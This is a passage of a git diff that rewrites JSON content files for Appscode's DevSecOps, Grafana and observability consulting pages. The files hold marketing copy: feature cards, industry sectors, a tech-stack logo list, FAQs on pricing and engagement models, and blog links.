or long-term DevSecOps advisory partnerships." + }, + { + "question": "Do DevSecOps Consulting Services support multi-cloud or hybrid environments?", + "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent security practices, automated checks, and compliance across AWS, Azure, GCP, and on-premises systems." + }, + { + "question": "How do you ensure security, compliance, and reliability in DevSecOps?", + "answer": "We enforce automated vulnerability scanning, secure coding practices, access controls, configuration audits, monitoring, and incident response strategies. These measures ensure secure, compliant, and resilient applications." + }, + { + "question": "What happens after DevSecOps consulting and implementation?", + "answer": "After implementation, we provide ongoing monitoring, support, and optimization. Our services include knowledge transfer, documentation of best practices, and recommendations for continuous security and compliance improvements." + }, + { + "question": "How much do DevSecOps Consulting Services cost, and what are the pricing models?", + "answer": "Pricing depends on application complexity, number of teams, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/observability-devsecops/grafana_consulting.json b/data/services/observability-devsecops/grafana_consulting.json index ef44c1b38c..c927e6b0ac 100644 --- a/data/services/observability-devsecops/grafana_consulting.json +++ b/data/services/observability-devsecops/grafana_consulting.json @@ -1,295 +1,295 @@ -{ - "hero": { - "title": "Grafana Consulting Services & Enterprise Support by Appscode", - "subtitle": "Accelerate observability, performance, and reliability with expert Grafana consulting, implementation, and enterprise-grade support tailored to your cloud-native environment.", - "cta_text": "TALK TO A GRAFANA EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/grafana-consulting-illustration.png", - "alt": "Grafana Consulting and Observability Services by Appscode" - } - }, - "trusted_by": { - "title": "Trusted by Global Enterprises and Cloud-Native Innovators" - }, - "title_with_small_cards": { - "title": "Why Choose Grafana Consulting Services?", - "areas": [ - { - "icon": "fa fa-eye", - "title": "End-to-End Observability and Metrics Visibility" - }, - { - "icon": "fa fa-dashboard", - "title": "Customizable, Feature-Rich Grafana Dashboards" - }, - { - "icon": "fa fa-tachometer", - "title": "Optimized Infrastructure and Application Performance" - }, - { - "icon": "fa fa-file-text", - "title": "Unified Log Management and Advanced Analytics" - }, - { - "icon": "fa fa-cogs", - "title": "Improved Operational Efficiency Through Automation" - }, - { - "icon": "fa fa-plug", - "title": "Seamless Plugin, API, and Data Source Integrations" - } - ] - }, - "service_details": { - "title": "Grafana Consulting Services by Appscode", - "subtitle": "Accelerate your observability journey with expert guidance — from deployment to ongoing enterprise support.", - "sections": [ - { - "title": "Grafana Strategy, Advisory & Implementation", - "description": "Appscode’s certified Grafana consultants guide your organization in developing a robust observability strategy. We handle everything from deploying Grafana across hybrid and multi-cloud environments to customizing dashboards for actionable insights.", - "offerings": [ - "End-to-end Grafana deployment, configuration, and tuning for optimal performance.", - "Custom dashboard design to track infrastructure, cost, and reliability metrics.", - "Best practices for setting up alert-driven observability and system transparency." - ], - "image": "/assets/images/services/grafana-strategy-implementation.png" - }, - { - "title": "Grafana Data Integration & Visualization", - "description": "Our Grafana integration services help you connect multiple data sources — from Prometheus and InfluxDB to MySQL, PostgreSQL, and Elasticsearch — creating a unified observability view for your teams.", - "offerings": [ - "Expert consulting on Grafana data source configuration and monitoring best practices.", - "Setup of unified, multi-source dashboards for complete system visibility.", - "Custom visualizations and dynamic panels tailored to business KPIs.", - "Centralized data exploration for real-time analytics and insights." - ], - "image": "/assets/images/services/grafana-data-integration.png" - }, - { - "title": "Grafana Reporting, Insights & Automation", - "description": "Appscode enables teams to turn Grafana dashboards into meaningful, automated reports. Deliver actionable insights to stakeholders with ease.", - "offerings": [ - "Design and automation of visual reports and PDF dashboards.", - "Scheduled reporting and team-wide sharing via email or Slack.", - "Actionable data visualization for executive and operational decisions." - ], - "image": "/assets/images/services/grafana-reporting.png" - }, - { - "title": "Grafana Alerting, Incident Response & Optimization", - "description": "Stay ahead of downtime and performance issues with Grafana alerting and incident response solutions. Appscode helps configure, optimize, and automate alert workflows.", - "offerings": [ - "Custom alert thresholds and integration with tools like PagerDuty, Slack, and Opsgenie.", - "Alert routing and escalation policies for faster issue resolution.", - "Multi-environment monitoring and recovery automation.", - "Seamless DevOps integration for continuous feedback and improvement." - ], - "image": "/assets/images/services/grafana-alerting.png" - } - ] - }, - "industries": { - "title": "Industry-Focused Grafana Consulting Expertise", - "subtitle": "Appscode delivers Grafana observability solutions designed for reliability, compliance, and scalability across diverse industries.", - "additional_text": "Our Grafana experts help businesses — from startups to enterprises — gain deep, actionable visibility into their infrastructure and applications.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Financial Services", - "description": "Ensure 24/7 uptime, transaction reliability, and compliance visibility with secure observability dashboards." - }, - { - "icon": "fa fa-laptop", - "title": "Technology, SaaS & Internet", - "description": "Monitor cloud-native systems, optimize SaaS performance, and visualize AI-driven workloads in real time." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Gain full visibility into connected vehicle systems and predictive maintenance analytics." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Visualize asset performance, streamline resource monitoring, and reduce operational risks with Grafana observability." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Monitor patient data systems securely, ensuring compliance with healthcare data protection standards." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless user experiences with real-time service monitoring and proactive issue resolution." - } - ] - }, - "tech_stack": { - "title": "Deep Technical Expertise in the Grafana Ecosystem", - "subtitle": "Appscode’s consulting team builds secure, scalable observability stacks using industry-leading open-source tools.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Partner with Appscode for Grafana Consulting & Enterprise Support", - "subtitle": "Empower your teams with data-driven visibility, faster issue resolution, and optimized infrastructure performance using Grafana.", - "buttons": [ - { - "text": "Talk to a Grafana Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why Appscode is the Best Grafana Consulting Partner", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Grafana & Cloud-Native Experts", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Proven Industry Experience", - "description": "Delivered successful Grafana consulting projects for 100+ organizations across fintech, SaaS, telecom, and more." - }, - { - "icon": "fa fa-trophy", - "title": "Trusted Kubernetes & Observability Partner", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Hands-On Grafana Training & Knowledge Transfer", - "description": "Empower your team with in-depth Grafana training, dashboard design, and observability best practices." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Flexible Engagement Models", - "description": "Scale your observability initiatives easily with Appscode’s on-demand Grafana experts — no long-term overhead." - } - ] - }, - "faq": [ - { - "question": "What do your Grafana Consulting Services include?", - "answer": "Our Grafana Consulting Services help organizations design, implement, and optimize observability dashboards for monitoring applications and infrastructure. We cover metrics collection, visualization, alerting, and performance analysis using Grafana." - }, - { - "question": "Which technologies and practices are used in Grafana consulting?", - "answer": "We leverage Grafana, Prometheus, Loki, OpenTelemetry, Kubernetes, and cloud-native monitoring tools. Our approach ensures actionable insights, performance monitoring, real-time visualization, and proactive issue detection across complex systems." - }, - { - "question": "Can you work with our existing applications and monitoring setup?", - "answer": "Yes — we integrate Grafana with your current monitoring stack, configure dashboards and alerts, implement metrics collection, and provide guidance for continuous monitoring and observability improvement." - }, - { - "question": "What is the typical timeline and engagement model for Grafana Consulting Services?", - "answer": "Engagements typically start with a 1–2 week assessment of your observability and monitoring setup. Implementation follows in 2–6 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term Grafana advisory partnerships." - }, - { - "question": "Do Grafana Consulting Services support multi-cloud or hybrid environments?", - "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent metrics visualization, alerts, and dashboards across AWS, Azure, GCP, and on-premises systems." - }, - { - "question": "How do you ensure reliable monitoring and actionable insights with Grafana?", - "answer": "We implement end-to-end metrics collection, logging, alerting, and dashboard design best practices. These measures enable real-time monitoring, rapid issue detection, and performance optimization." - }, - { - "question": "What happens after Grafana consulting and implementation?", - "answer": "After implementation, we provide ongoing support, dashboard updates, alert optimization, and guidance on continuous improvement to ensure your monitoring setup remains effective and up-to-date." - }, - { - "question": "How much do Grafana Consulting Services cost, and what are the pricing models?", - "answer": "Pricing depends on system complexity, number of dashboards, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Grafana Consulting Services & Enterprise Support by Appscode", + "subtitle": "Accelerate observability, performance, and reliability with expert Grafana consulting, implementation, and enterprise-grade support tailored to your cloud-native environment.", + "cta_text": "TALK TO A GRAFANA EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/grafana-consulting-illustration.png", + "alt": "Grafana Consulting and Observability Services by Appscode" + } + }, + "trusted_by": { + "title": "Trusted by Global Enterprises and Cloud-Native Innovators" + }, + "title_with_small_cards": { + "title": "Why Choose Grafana Consulting Services?", + "areas": [ + { + "icon": "fa fa-eye", + "title": "End-to-End Observability and Metrics Visibility" + }, + { + "icon": "fa fa-dashboard", + "title": "Customizable, Feature-Rich Grafana Dashboards" + }, + { + "icon": "fa fa-tachometer", + "title": "Optimized Infrastructure and Application Performance" + }, + { + "icon": "fa fa-file-text", + "title": "Unified Log Management and Advanced Analytics" + }, + { + "icon": "fa fa-cogs", + "title": "Improved Operational Efficiency Through Automation" + }, + { + "icon": "fa fa-plug", + "title": "Seamless Plugin, API, and Data Source Integrations" + } + ] + }, + "service_details": { + "title": "Grafana Consulting Services by Appscode", + "subtitle": "Accelerate your observability journey with expert guidance — from deployment to ongoing enterprise support.", + "sections": [ + { + "title": "Grafana Strategy, Advisory & Implementation", + "description": "Appscode’s certified Grafana consultants guide your organization in developing a robust observability strategy. We handle everything from deploying Grafana across hybrid and multi-cloud environments to customizing dashboards for actionable insights.", + "offerings": [ + "End-to-end Grafana deployment, configuration, and tuning for optimal performance.", + "Custom dashboard design to track infrastructure, cost, and reliability metrics.", + "Best practices for setting up alert-driven observability and system transparency." + ], + "image": "/assets/images/services/grafana-strategy-implementation.png" + }, + { + "title": "Grafana Data Integration & Visualization", + "description": "Our Grafana integration services help you connect multiple data sources — from Prometheus and InfluxDB to MySQL, PostgreSQL, and Elasticsearch — creating a unified observability view for your teams.", + "offerings": [ + "Expert consulting on Grafana data source configuration and monitoring best practices.", + "Setup of unified, multi-source dashboards for complete system visibility.", + "Custom visualizations and dynamic panels tailored to business KPIs.", + "Centralized data exploration for real-time analytics and insights." + ], + "image": "/assets/images/services/grafana-data-integration.png" + }, + { + "title": "Grafana Reporting, Insights & Automation", + "description": "Appscode enables teams to turn Grafana dashboards into meaningful, automated reports. Deliver actionable insights to stakeholders with ease.", + "offerings": [ + "Design and automation of visual reports and PDF dashboards.", + "Scheduled reporting and team-wide sharing via email or Slack.", + "Actionable data visualization for executive and operational decisions." + ], + "image": "/assets/images/services/grafana-reporting.png" + }, + { + "title": "Grafana Alerting, Incident Response & Optimization", + "description": "Stay ahead of downtime and performance issues with Grafana alerting and incident response solutions. Appscode helps configure, optimize, and automate alert workflows.", + "offerings": [ + "Custom alert thresholds and integration with tools like PagerDuty, Slack, and Opsgenie.", + "Alert routing and escalation policies for faster issue resolution.", + "Multi-environment monitoring and recovery automation.", + "Seamless DevOps integration for continuous feedback and improvement." + ], + "image": "/assets/images/services/grafana-alerting.png" + } + ] + }, + "industries": { + "title": "Industry-Focused Grafana Consulting Expertise", + "subtitle": "Appscode delivers Grafana observability solutions designed for reliability, compliance, and scalability across diverse industries.", + "additional_text": "Our Grafana experts help businesses — from startups to enterprises — gain deep, actionable visibility into their infrastructure and applications.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Financial Services", + "description": "Ensure 24/7 uptime, transaction reliability, and compliance visibility with secure observability dashboards." + }, + { + "icon": "fa fa-laptop", + "title": "Technology, SaaS & Internet", + "description": "Monitor cloud-native systems, optimize SaaS performance, and visualize AI-driven workloads in real time." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Gain full visibility into connected vehicle systems and predictive maintenance analytics." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Visualize asset performance, streamline resource monitoring, and reduce operational risks with Grafana observability." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Monitor patient data systems securely, ensuring compliance with healthcare data protection standards." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless user experiences with real-time service monitoring and proactive issue resolution." + } + ] + }, + "tech_stack": { + "title": "Deep Technical Expertise in the Grafana Ecosystem", + "subtitle": "Appscode’s consulting team builds secure, scalable observability stacks using industry-leading open-source tools.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Partner with Appscode for Grafana Consulting & Enterprise Support", + "subtitle": "Empower your teams with data-driven visibility, faster issue resolution, and optimized infrastructure performance using Grafana.", + "buttons": [ + { + "text": "Talk to a Grafana Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why Appscode is the Best Grafana Consulting Partner", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Grafana & Cloud-Native Experts", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Proven Industry Experience", + "description": "Delivered successful Grafana consulting projects for 100+ organizations across fintech, SaaS, telecom, and more." + }, + { + "icon": "fa fa-trophy", + "title": "Trusted Kubernetes & Observability Partner", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Hands-On Grafana Training & Knowledge Transfer", + "description": "Empower your team with in-depth Grafana training, dashboard design, and observability best practices." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Flexible Engagement Models", + "description": "Scale your observability initiatives easily with Appscode’s on-demand Grafana experts — no long-term overhead." + } + ] + }, + "faq": [ + { + "question": "What do your Grafana Consulting Services include?", + "answer": "Our Grafana Consulting Services help organizations design, implement, and optimize observability dashboards for monitoring applications and infrastructure. We cover metrics collection, visualization, alerting, and performance analysis using Grafana." + }, + { + "question": "Which technologies and practices are used in Grafana consulting?", + "answer": "We leverage Grafana, Prometheus, Loki, OpenTelemetry, Kubernetes, and cloud-native monitoring tools. Our approach ensures actionable insights, performance monitoring, real-time visualization, and proactive issue detection across complex systems." + }, + { + "question": "Can you work with our existing applications and monitoring setup?", + "answer": "Yes — we integrate Grafana with your current monitoring stack, configure dashboards and alerts, implement metrics collection, and provide guidance for continuous monitoring and observability improvement." + }, + { + "question": "What is the typical timeline and engagement model for Grafana Consulting Services?", + "answer": "Engagements typically start with a 1–2 week assessment of your observability and monitoring setup. Implementation follows in 2–6 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term Grafana advisory partnerships." + }, + { + "question": "Do Grafana Consulting Services support multi-cloud or hybrid environments?", + "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent metrics visualization, alerts, and dashboards across AWS, Azure, GCP, and on-premises systems." + }, + { + "question": "How do you ensure reliable monitoring and actionable insights with Grafana?", + "answer": "We implement end-to-end metrics collection, logging, alerting, and dashboard design best practices. These measures enable real-time monitoring, rapid issue detection, and performance optimization." + }, + { + "question": "What happens after Grafana consulting and implementation?", + "answer": "After implementation, we provide ongoing support, dashboard updates, alert optimization, and guidance on continuous improvement to ensure your monitoring setup remains effective and up-to-date." + }, + { + "question": "How much do Grafana Consulting Services cost, and what are the pricing models?", + "answer": "Pricing depends on system complexity, number of dashboards, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/observability-devsecops/observability_consulting.json b/data/services/observability-devsecops/observability_consulting.json index 9c4dd647c1..5458fe04a0 100644 --- a/data/services/observability-devsecops/observability_consulting.json +++ b/data/services/observability-devsecops/observability_consulting.json @@ -1,386 +1,386 @@ -{ - "hero": { - "title": "Observability Consulting Services & Enterprise Support by Appscode", - "subtitle": "Achieve complete visibility, faster incident response, and cloud-native resilience with enterprise-grade Observability Consulting powered by Prometheus, Grafana, and Loki.", - "cta_text": "TALK TO AN OBSERVABILITY EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/observability-consulting-hero.png", - "alt": "Observability Consulting Services for Cloud-Native Systems" - } - }, - "trusted_by": { - "title": "Trusted by Leading Cloud-Native Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Observability Consulting Services", - "areas": [ - { - "icon": "fa fa-eye", - "title": "End-to-End Visibility Across Kubernetes and Cloud" - }, - { - "icon": "fa fa-bug", - "title": "Faster Incident Detection & Root-Cause Analysis" - }, - { - "icon": "fa fa-rocket", - "title": "Accelerate Deployment & Release Velocity" - }, - { - "icon": "fa fa-shield", - "title": "Reduce Downtime with Proactive Monitoring" - }, - { - "icon": "fa fa-cogs", - "title": "Improve Reliability & Operational Excellence" - }, - { - "icon": "fa fa-line-chart", - "title": "Enhance Performance with Real-Time Insights" - }, - { - "icon": "fa fa-heartbeat", - "title": "Detect & Resolve Anomalies Before Impact" - }, - { - "icon": "fa fa-database", - "title": "Optimize Infrastructure Costs & Utilization" - } - ] - }, - "service_details": { - "title": "Comprehensive Observability Consulting & Implementation", - "subtitle": "Appscode helps organizations implement observability the right way—combining monitoring, logging, and tracing into a unified, cloud-native platform for actionable insights.", - "sections": [ - { - "title": "Infrastructure Monitoring with Prometheus & Grafana", - "description": "Appscode’s observability experts design scalable monitoring architectures using Prometheus and Grafana to provide deep insights into cluster health, performance metrics, and workloads.", - "offerings": [ - "Build custom Grafana dashboards for real-time system visibility", - "Create Prometheus alerts to detect failures early", - "Enable predictive monitoring for smarter capacity planning" - ], - "image": "/assets/images/services/observability-infrastructure-monitoring.png" - }, - { - "title": "Centralized Logging with Loki, Fluentd & Elastic", - "description": "Simplify log management with Appscode’s observability consulting for Grafana Loki and Fluentd. Gain unified access to logs across applications, containers, and Kubernetes clusters.", - "offerings": [ - "Aggregate and query logs seamlessly across environments", - "Automate retention, search, and compliance for log data", - "Visualize log patterns to accelerate debugging" - ], - "image": "/assets/images/services/observability-unified-logging.png" - }, - { - "title": "Distributed Tracing with OpenTelemetry & Jaeger", - "description": "Our observability services integrate OpenTelemetry and Jaeger for full request traceability across microservices—enabling faster bottleneck detection and performance optimization.", - "offerings": [ - "Trace request lifecycles across distributed systems", - "Correlate logs, metrics, and traces for holistic observability", - "Accelerate issue resolution with deep trace analysis" - ], - "image": "/assets/images/services/observability-distributed-tracing.png" - } - ] - }, - "industries": { - "title": "Observability Consulting Services Across Industries", - "subtitle": "Appscode delivers observability solutions tailored for highly regulated and mission-critical sectors.", - "additional_text": "From fintech to healthcare, our Observability Consulting Services empower teams to achieve continuous reliability, compliance, and business agility.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Financial Services", - "description": "Ensure uptime and compliance with real-time monitoring of transactions, APIs, and core banking systems." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Empower DevOps teams with observability pipelines that support rapid releases and data-driven decisions." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Enable connected vehicle telemetry and performance monitoring with low-latency data observability solutions." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Monitor distributed assets, predict maintenance, and optimize performance using observability-driven insights." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Support HIPAA-compliant observability to ensure reliability, security, and fast response across healthcare systems." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless digital experiences with observability-driven insights for real-time booking and operational systems." - } - ] - }, - "tech_stack": { - "title": "Our Observability Tech Stack Expertise", - "subtitle": "We integrate leading open-source and enterprise tools to deliver robust, scalable observability platforms.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Make Your Cloud-Native Stack Observable", - "subtitle": "Empower teams to detect, analyze, and respond faster with a future-ready observability foundation.", - "buttons": [ - { - "text": "Talk to an Observability Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Our Observability Consulting & Support Services", - "subtitle": "AppsCode provides end-to-end observability consulting—from assessment and design to deployment and managed support.", - "items": [ - { - "icon": "fa fa-lightbulb-o", - "title": "Observability Strategy & Roadmap", - "description": "Our consultants help you define the right mix of open-source and enterprise observability tools, tailored to your architecture and business goals." - }, - { - "icon": "fa fa-cogs", - "title": "Implementation & Integration", - "description": "Deploy, configure, and integrate monitoring, logging, and tracing tools with your DevOps workflows for end-to-end transparency." - }, - { - "icon": "fa fa-support", - "title": "Managed Observability Support", - "description": "Offload the complexity of observability management. We handle scaling, upgrades, and troubleshooting to keep your systems healthy 24/7." - } - ] - }, - "large_preview_cards": { - "title": "Appscode Expertise in Prometheus, Grafana & Loki", - "items": [ - { - "icon": "fa fa-rocket", - "title": "Prometheus Consulting & Support", - "description": "As an official Prometheus commercial partner, Appscode helps you architect, optimize, and scale your monitoring pipelines for production-grade reliability." - }, - { - "icon": "fa fa-dashboard", - "title": "Grafana Consulting & Customization", - "description": "Get tailored dashboards, data source integrations, and alert configurations designed by Grafana experts for real-time visibility." - }, - { - "icon": "fa fa-file-text", - "title": "Loki Log Management Expertise", - "description": "Build resilient log pipelines using Grafana Loki—designed for scale, cost efficiency, and unified visibility across multi-cluster Kubernetes setups." - } - ] - }, - "cards_group": { - "title": "Our Observability Enablement Process", - "subtitle": "From discovery to support, Appscode ensures smooth observability adoption aligned with your business outcomes.", - "models": [ - { - "number": "01", - "title": "Assess & Plan", - "description": "Evaluate existing systems and design an observability strategy aligned with SLAs and compliance requirements." - }, - { - "number": "02", - "title": "Design & Build", - "description": "Architect a scalable observability stack with the right mix of monitoring, logging, and tracing tools." - }, - { - "number": "03", - "title": "Deploy & Automate", - "description": "Implement automation for alerting, visualization, and incident response." - }, - { - "number": "04", - "title": "Manage & Evolve", - "description": "Get continuous support for upgrades, scaling, and optimization." - } - ] - }, - "resources": { - "title": "Cloud-Native Product Engineering Resources", - "items": [ - { - "type": "Blog", - "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", - "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" - }, - { - "type": "Blog", - "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", - "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" - }, - { - "type": "Event", - "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", - "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/kubecon-na-2024/" - } - ] - }, - "cards2": { - "title": "Why Appscode for Observability Consulting Services?", - "subtitle": "Partner with the cloud-native experts behind KubeDB, Stash, and Voyager—trusted by global enterprises for production-grade reliability.", - "items": [ - { - "icon": "fa fa-users", - "title": "Experienced Cloud-Native Engineers", - "description": "Work with experts who bring deep Kubernetes and observability experience." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified CNCF Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Environment Expertise", - "description": "We support observability for on-prem, hybrid, and multi-cloud infrastructures." - }, - { - "icon": "fa fa-check-circle", - "title": "Proven Enterprise Success", - "description": "Trusted by 